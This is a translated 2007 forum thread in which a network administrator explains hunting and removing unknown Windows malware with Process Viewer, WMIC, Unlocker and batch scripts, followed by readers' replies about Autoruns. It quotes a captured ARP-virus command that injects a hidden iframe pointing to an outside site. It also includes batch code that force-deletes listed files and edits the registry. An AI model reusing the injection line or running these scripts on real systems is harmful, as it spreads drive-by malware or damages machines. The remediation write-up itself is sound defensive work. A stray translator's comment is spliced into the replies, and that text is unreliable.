China DOS Union

From: Network Administrator Internal Reference MOER.NET
Title: Using Symantec's Process Viewer to Assist in Killing Unknown Viruses
Author: Xia Ke sequh@126.com

For an unknown virus, network administrators should not and do not need to wait for the solution from the antivirus software manufacturer; they can remove it by themselves. Find the root of the virus, thereby identify the current security flaws in the network, and come up with solutions. This is what a real network administrator will do.

The initial and most important work in this process is to find the virus file. For the Windows system, all viruses exist in files. Now it is very rare to see virus files in.exe form. Basically, they are.dll files. And the most terrifying thing is that virus technology is increasingly inclined to move towards the lower-level driver, which is really a challenge for network administrators.

I have limited technology, but I will combine my usual work to talk about some experiences in killing unknown viruses, so as to provide some ideas for network administrators. The technology used in the article is also very simple. By using Symantec's Process Viewer (referred to as pv) and WMIC to help find virus files, and using some CMD internal commands and Unlocker to help remove viruses. Naturally, it is too convenient to do these tasks with batch processing, so I will give a complete batch processing. Of course, I also wrote a batch processing, combined with these tools to release, and I dare to call it with a big face, please don't blame the experts.

pv is a very good tool. Many functions in process management are not available in the Windows Task Manager. I will actually explain the specific use method of pv with the PrcView v 5.2.15.1 localized by Comrade Yu Feiyu.

pv has four functions very suitable for network administrators' work: First, process management. You can modify the priority of the process (this is very important) and terminate the process (this is what we want). Second, view modules. Modules exist in processes. You cannot directly terminate a module, but you can terminate the process. The module corresponds to a file. Our final goal is to find the virus module, that is, the virus file, so as to remove it and write an immune script. Third, process monitor. It can well help you judge all modules running since the system started, and the interface provides very rich content. Fourth, startup items. It provides some things that cannot be seen in msconfig or the registry run item. If you simply explain the use, it will be boring. I will explain it with an example.

Today is July 7, 2007, a very interesting day. The frequently occurring ARP virus has made many network administrators at a loss. We received a colleague's report that the computer with ip=89 is attacking other machines, and many people can no longer access the Internet, and even the internal server cannot be accessed normally. Shorten the network of 89, and it will return to normal after a few minutes. It seems that the virus has not spread, which has made us very fortunate.

When analyzing 89, open pv, and a special phenomenon occurs. The process list of pv is blank, which is very tricky. We can only use the command line pv.exe to find suspicious modules.

Knowledge Point 1: Using Process Viewer (pv) in the command line
pv.exe in the pv directory provides the function of using pv in the command line. You can directly view processes, but for the current viruses, they are no longer willing to appear in the process list. I use pv.exe -s to view all modules. This command corresponds to the function of viewing modules in prcview.exe. It lists all loaded modules in the system and their corresponding file paths.

Analyze these files one by one, look at their version numbers, modification dates, installation dates, manufacturers, etc., and basically can determine the suspicious files. And for proficient network administrators, the normal loaded modules in the system are roughly memorized. Finally, if it really doesn't work, you can compare with the modules in a normal system to analyze. Of course, you can also list the normal module list into a text file and use batch processing to do this work.

There can be many rules for judging whether it is a suspicious module. For example, at the beginning, I judged by the modification date of the module file. As long as it is in 2007, I treat it as suspicious. This is because I observed that the modification date of XP system modules is mostly in 2004, and the modification date of some viruses is basically recent.

But this rule later had problems. Maybe it was due to XP updates or other reasons, and some system modules were also considered suspicious. And the most critical thing is that this rule treats newly developed software as suspicious. Newly installed software is not necessarily misrecognized, because the modification date of the file refers to the compilation generation date, and only files compiled recently may be misrecognized. And the biggest reason that made me give up this rule is that some viruses, after loading, create files and will change the modification date to the same day as the XP system file, which is about 2004, which makes my rule completely ineffective.

Of course, the rule is only used to help simplify the analysis work. I once printed out all the modules on my machine and compared them one by one with the modules in the poisoned machine to find suspicious modules. Although this method is very stupid, it is very practical. We can also define a simple rule to simplify this process.

As long as it is an XP system module, the manufacturer of the file must be Microsoft Corporation (of course, there are very few exceptions), so I can exclude most of the module list by judging the manufacturer of the file. Some other well-known manufacturers are also added to my list, such as Symantec Corporation, Adobe Systems Incorporated, etc.

I used WMIC to obtain the attributes of the file. If there is no WMIC (although this situation is rare, but I encountered two cases yesterday, WMIC is not automatically installed), dir can also be used to obtain some information of the file, but there is no manufacturer information. The visible interface of pv can view the manufacturer information, but pv.exe does not have this function. The following code is a whole process of judging all modules returned by pv.exe in batch processing:


Code 1: Judging all modules returned by pv.exe to filter out suspicious modules. You should execute this batch processing in the directory where pv.exe is located

@echo off
color 0a

set log=Log.txt
set bad=Suspicious.txt
del %log% >nul 2>nul
del %bad% >nul 2>nul
rem >nul is a short form of 1>nul, 1=STD_OUT, 2=STD_ERR
rem 1>nul means to hide the output information, 2>nul means to hide the error information

rem Generally, when using repeated assignment variables in a for loop,
rem you need to declare setlocal outside the for loop
rem In addition, these repeated assignment variables, after declaring setlocal, can only be used
rem Exclamation marks are used to reference
setlocal enabledelayedexpansion

rem The use of for is very complicated. skip means ignoring the first line. The first line of the content returned by pv is meaningless to us
rem tokens means the scope of using for variables. Here, the first item of the content returned by pv is assigned to %%i
rem By default, according to the number of tokens, for will automatically assign the second item to %%j....
rem Note that the | sign needs to be escaped
for /f "skip=1 tokens=1,2,3,4,*" %%i in ('pv.exe -s^|find /v ""') do (
rem %%i=module name %%j=count %%k=base address %%l=size %%m=file path
set mypname=%%i
set myfname=%%m

cls
title Module: !mypname!
echo Analyzing the module......
echo Module name: !mypname!
echo File path: !myfname!

rem The following obtains the attributes of the process file. The file path representation of WMIC is different from that of Windows. The difference between \\ and \
rem You can view the help of the set command. The conversion of slashes here is very simple, but you cannot directly convert in %%m
set oo=%%m
set oo=!oo:\=\\!

rem Novices should pay special attention to the use of single quotes and double quotes here
rem The single quotes outside wmic cannot be removed. This is required by the for keyword
rem And the double quotes outside the name in wmic are necessary. The value of name needs to be in single quotes
rem The value of the get instruction needs to be in single quotes if it contains spaces
rem The most important thing is that commas need to be escaped
rem /format:csv.xsl means that the output format is in csv format, that is, separated by commas
for /f "delims=, tokens=1,2,3,4,5" %%a in (
'wmic datafile where "name='!oo!'" get
"creation date"^,
lastmodified^,
manufacturer^,
version /format:csv.xsl'
) do (
set mycdate=%%b >nul
set mymdate=%%c >nul
set mymanu=%%d >nul
set myver=%%e >nul
set mycdate=!mycdate:~0,8!
set mymdate=!mymdate:~0,8!
)

rem Write to log
echo Module: !mypname!>>%log%
echo Path: !myfname!>>%log%
echo File version: !myver!>>%log%
echo Manufacturer: !mymanu!>>%log%
echo Creation date: !mycdate!>>%log%
echo Modification date: !mymdate!>>%log%

rem ** Judging whether it is a suspicious process
rem Suspicious process judgment rules:
if not "!mymanu!"=="Microsoft Corporation " (
if not "!mymanu!"=="Symantec Corporation " (
if not "!mymanu!"=="Adobe Systems Incorporated " (
rem Here I will copy the module out and compress it
rem Because it is a demonstration, I didn't write the compression out
rem copy !myfname! %baddir% >nul 2>nul
rem if not errorlevel 1 (
rem echo ** Suspicious ** This file has been copied to %baddir%>>%log%
rem ) else (
rem echo ** Suspicious ** Failed to copy the file!!>>%log%
rem )
echo ** Suspicious ** >>%log%

echo Module: !mypname!>>%bad%
echo Path: !myfname!>>%bad%
echo File version: !myver!>>%bad%
echo Manufacturer: !mymanu!>>%bad%
echo Creation date: !mycdate!>>%bad%
echo Modification date: !mymdate!>>%bad%
echo.>>%bad%
)))
echo.>>%log%
)
endlocal

cls
title Analysis Completed
echo Analysis completed!
echo The results have been saved in %log% and %bad%
echo.
echo.
pause

The code is very simple, and I have added a lot of comments to help you understand. The important part is the line of pv.exe and the part using WMIC. WMIC is automatically installed by default in XP. It will be automatically installed when you enter WMIC directly in cmd. WMIC is a very practical tool. Windows network administrators should carefully study the usage of WMIC. Combined with batch processing or scripts, most system management tasks can be realized. wmic's process can also manage processes, but cannot view modules. The tasklist command can list the modules in the process, but cannot list the full path of the file corresponding to the module. This is the greatest benefit that pv brings us.

The analysis results are placed in Suspicious.txt and Log.txt. The log saves the information of all modules, and the suspicious modules are marked to help you analyze carefully. In addition, the suspicious.txt lists the suspicious modules separately for your reference.

After confirming that some modules are indeed virus modules, it is time to get rid of them. But I warn you that sometimes, it is better to leave them alive than to kill them. The simplest immunity is to keep these virus files, but empty the content of the virus files and protect them with attrib +s +r.

At the beginning, I used taskkill to terminate the process, but recently many viruses no longer run in the form of processes, but exist as modules of processes, so I chose Unlocker to directly delete the file.

Unlocker was written by Russians, and it is different from the general way of deleting files. It is very unique. Some people on the Internet say, it's not me who said it, Unlocker will OpenProcess and DuplicateHandle to copy the handle for the already opened process file, and at the same time set the flag DUPLICATE_CLOSE_SOURCE, so that the file handle is closed, and then this file can be deleted. For the module file opened in the process, we all know that the module is injected into the process using LoadLibrary, and the module can be unloaded from the process using FreeLibrary, and then the file is deleted. Unlocker does this, which is a very good software. But sometimes, some cunning virus modules will be injected into almost (it is almost, this is for a reason) all current processes. At this time, don't embarrass Unlocker, you can solve it through other ways, which will be mentioned below.

Unlocker also provides a command line mode, which is Unlocker.exe itself. This is really our luck. It is very simple to use: unlocker file name /D /S, but what we delete is not as simple as our diary. They are viruses. They do everything, such as process monitoring, file operation monitoring, registry monitoring, and locking the command line. Even if you successfully delete it, its accomplice will quietly create a file next to it.

Fortunately, they create files not as fast as we do, because we can directly create an empty file after deletion, with the name of the virus file, plus the system and read-only attributes. Okay, in this case, the brothers of the virus will generally foolishly think that their boss is safe, so they will not re-create the file. You may receive some error prompts, similar information is a damaged image, etc., which means we have succeeded.

Generally, this work is also placed in batch processing. List the full path of the file to be deleted into a certain text file, and then use batch processing to delete these files one by one.


Code 2: Deleting module files. The full paths of these files are in "Virus File List.txt". You should execute this batch processing in the directory where Unlocker.exe is located

rem **This code is somewhat dangerous. Unless you are sure that the files in the virus file list are suspicious files,
rem otherwise do not try. Once a normal file is mistakenly deleted, it may cause system damage or application software damage
rem It is best to make a backup before testing. Xia Ke Virus Killing Assistant will back up in advance
rem But the code here does not have the backup part, you can back up manually

rem Load Unlocker
call install.cmd

rem eol=; means that the semicolon is a line comment symbol here, and the commented line is not processed
for /f "eol=; tokens=*" %%i in (Virus File List.txt) do (
unlocker.exe "%%i" /D /S
rem The usage of echo*> can only be in batch processing, not in cmd
rem It is used to generate an empty file
echo*>"%%i"
attrib +r +s +h "%%i"
)
rem Uninstall Unlocker
call uninstall.cmd


Basically, with these two batches, some simple trojans can be removed. Sometimes, one killing cannot delete all files, and multiple times are needed. Unlocker itself defaults to only performing 10 attempts to delete operations, and gives up after 10 times.
If multiple killings cannot delete some stubborn modules, it starts to enter巷战 (巷战 means street fighting).

The so-called street fighting is manual, because I don't have time to write a complete fully automatic killing assistant at present. I can only write out my current manual killing process, and everyone can help me improve these codes.

The reason why the title of the article is using pv to kill rather than Unlocker is because in the manual killing process, we need to use pv frequently, and Unlocker is only the final cut.

The above code 1 can list the current suspicious modules one by one, which is very useful. We can run code 1 at any time to get whether the suspicious module exists.

The process monitor of pv is used to monitor the operations of all processes. It should be set to start when the computer starts to capture the startup process of the virus module. Generally, when manually killing, I will often check the process monitor, mainly to see if there are any suspicious operations in the command line item. Combined with the suspicious modules listed in code 1, this process is still very simple.

If it is a module started by rundll32, and the rundll32.exe process is still running, then terminate it. When it cannot be terminated, you can first set the priority of the process to , and then terminate it.

This process is a repeated process. Restart, view the process monitor, run code 1, run code 2, view the process monitor, modify the "Virus File List.txt" and run code 2 again, view the process monitor. During this period, some error prompts will pop up, prompting damaged images, etc., until finally all are deleted or the only one that can never be deleted remains.

I encountered this situation today. This module is injected into all processes. Looking at in pv, I find that its counts are four times, with 10 times, 4 times, 1 time, and 1 time respectively. Right-click and select to find the process that loaded this module. You cannot terminate the process because these processes are system-used processes, and Unlocker cannot delete it because there are too many places where the handle is referenced. Strangely, I can't find the information of this module in the startup items, and I can't find the information of this module in the process monitor. At this time, we had better go to a place that everyone easily ignores and is very interesting, a place in the registry:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows

See if the value of the AppInit_DLLs item is it. The AppInit_DLLs item is a very dangerous place. Basically, this value should be empty. Once the file name of the module is written, as long as user32.dll is called, this module will be loaded. And almost all processes will call user32.dll, so, smart you should know, this is registry process injection.

Fortunately, I found that stubborn module here, but I can't modify AppInit_DLLs, because this module will monitor the change of the AppInit_DLLs item value. When I encounter this kind of monitoring, my first thought is batch processing, because timing is not as fast as batch processing. As long as we clear the value of AppInit_DLLs, we can lock the registry to prevent registry monitoring immediately.


Code 3: Breaking through registry monitoring

echo Check if there is a registry injection process
echo Here I did not process the query results, just to tell you that this method can obtain the registry item value
rem reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v "AppInit_DLLs"

echo Repair the registry and delete the registry-injected process
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v "AppInit_DLLs" /t REG_SZ /d "" /f
echo Forbid editing the registry. You can re-enable registry editing through -- in gpedit.msc (Group Policy Editor)
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRegistryTools" /t REG_DWORD /d 1 /f
pause

Okay, after modifying the registry, restart it. The final stubborn module is cleared, the system is clean, and then use gpedit.msc to enable registry editing.

Sometimes, you can find the virus file by just observing the and of pv. For example, today I found such a command in the process monitor:

"C:\WINDOWS\system32\drivers\scvhost.exe" -idx 0 -ip 192.168.0.1-192.168.0.255 -port 80 -insert "<iframe src='http://www.zpx520.com/0.htm' width=0 height=0></iframe>"

I think this is a core command of the zpx520 virus. If you are a tracer, please observe scvhost.exe to obtain the method adopted by the ARP virus, so as to make a real immune program to benefit mankind.

Friendly reminder:
The of pv will have userinit.exe. Don't move it. If you delete it, please look at some text files in the resource package \sequh
After running install.cmd, Unlocker is loaded into the system. The right-click menu will have Unlocker. Sometimes some files cannot be deleted, and Unlocker will prompt whether to delete after restarting, which is also a good choice.


Originally, I wanted to attach all the source codes of Xia Ke Virus Killing Assistant, but due to time problems, I didn't sort out the perfect code, and there are also pv and Unlocker that need to be uploaded. So, I uploaded the current Xia Ke Virus Killing Assistant v0.1 I am using to my website for everyone to download, but must not spread it. I don't want to be scolded, only for network administrator internal reference.

Xia Ke Virus Killing Assistant ver0.1 (alpha version) download:

http://www.moer.net/down/Xia Ke Virus Killing Assistant alpha0.1.rar

I am very grateful to the China DOS Union forum. I have learned a lot of knowledge from here, so I also make some small contributions. There are too many experts here

No translation needed for the English part. The first sentence in Chinese is "这么好的沙发没人坐?" which can be translated as "No one sitting on such a good sofa?" and the second sentence "谢谢楼主,你的思路很有启发意义." is "Thank you, LZ, your idea is very inspiring." So the overall translated text is:

No one sitting on such a good sofa?
Thank you, LZ, your idea is very inspiring.

Not bad, quite good;
It seems that the original poster has been lurking in the forum as a visitor; heh heh;

Give extra points for encouragement

Just registered yesterday, sigh.

I've been here for a long time, just never registered. Greetings to all seniors!

To sequh:

First of all, welcome you to register an ID and join the discussion of batch scripts (of course, other scripts as well). And hope that elder brother will stay here, hehe.

Just finished reading this article, it's really good. It not only contains batch scripts with good code quality, but also has several usage tips for common antivirus tools. The analysis process of viruses is easy to understand. It's a good article, so it's specially highlighted and encouraged.

[ Last edited by lxmxn on 2007-7-10 at 12:38 PM ]

Encouraging, but I won't add points. Hehe.

I'll show my clumsiness.

The core idea is to use the permission issues of the registry to restrict the startup of abnormal "services" and "drivers".

Currently, many viruses have the feature of monitoring processes. Directly setting the permissions of relevant registry keys to deny reading will prevent these viruses from starting normally, and then we can achieve our goal.

Why manually kill viruses?
Because the virus databases of various antivirus software are always relatively lagging in updates. So in daily work, we need to manually clear some viruses and malicious software. In my opinion, any program that starts against my will belongs to malicious software.

Viruses generally go to great lengths to execute themselves. For example, the following several locations:
1. logon in msconfig
2. mounting in explorer
3. IE plugins
4. system services
5. drivers
6. autorun
7. using the feature that executable files in system32 are executed before those in the windows directory to masquerade as system files
8. scheduled tasks

Here I introduce a software to you.
autoruns is currently acquired by Microsoft. This software can list most of the startup items mentioned above and can verify their signatures, which can speed up our identification.

For some simple viruses, it is only necessary to clear its startup items and then delete the virus body.
For some particularly tough viruses, there are generally more than 2 processes monitoring each other. Once one process is terminated, it will be detected by another process and restarted immediately. So this type of virus is relatively difficult to kill. Most of these viruses appear as services and drivers. You can use the process manager (the built-in one is too stupid) to first end the suspicious process, observe whether it will reappear, then find the relevant startup item in autoruns, confirm which startup item is causing it, and then close it. If this startup item still appears after refreshing, you can double-click this item to jump to the registry. If it is a service or driver, there is generally a separate registry key. You can set the permissions of this key to prohibit all users from reading. After restarting, you can delete this program.
For the case of masquerading, you can execute dir c:\explorer.exe /a /s (taking explorer.exe as an example) in the command line to see how many explorers there are, and then use the backup files in the dllcache directory to overwrite it back.

Here I will introduce another task manager to everyone.

process explorer

I used the manager mentioned by the thread starter, but I still think this one is more useful.

Got to learn well!!!

Thank you very much, moderator, for supporting the China DOS Union.

kcdsw, what you said about Autoruns is amazing. I found that it and Process Explorer are from the same company. I've used Process Explorer, which is much more feature-rich than Norton's PV, but it's a pity that it doesn't support command-line invocation, so we can't write scripts. Microsoft signature is a good thing, and I'll study it.

This company has been acquired by Microsoft. It's quite powerful.

TO sequh:

There is a command-line version of autoruns, autorunsc.exe. Upload one and study it yourself. To view the help, you can use autorunsc.exe /?. Command-line operations shouldn't be difficult. I just found out about it too. ^_^

Hehe, I just finished the part of autorunsc.exe, but I'm just not daring to judge whether it's suspicious. I'm only listing non-Microsoft startup items in the results. My download package will be updated soon.

The function of autorunsc.exe is too simple, still not cool enough. The download package has been updated.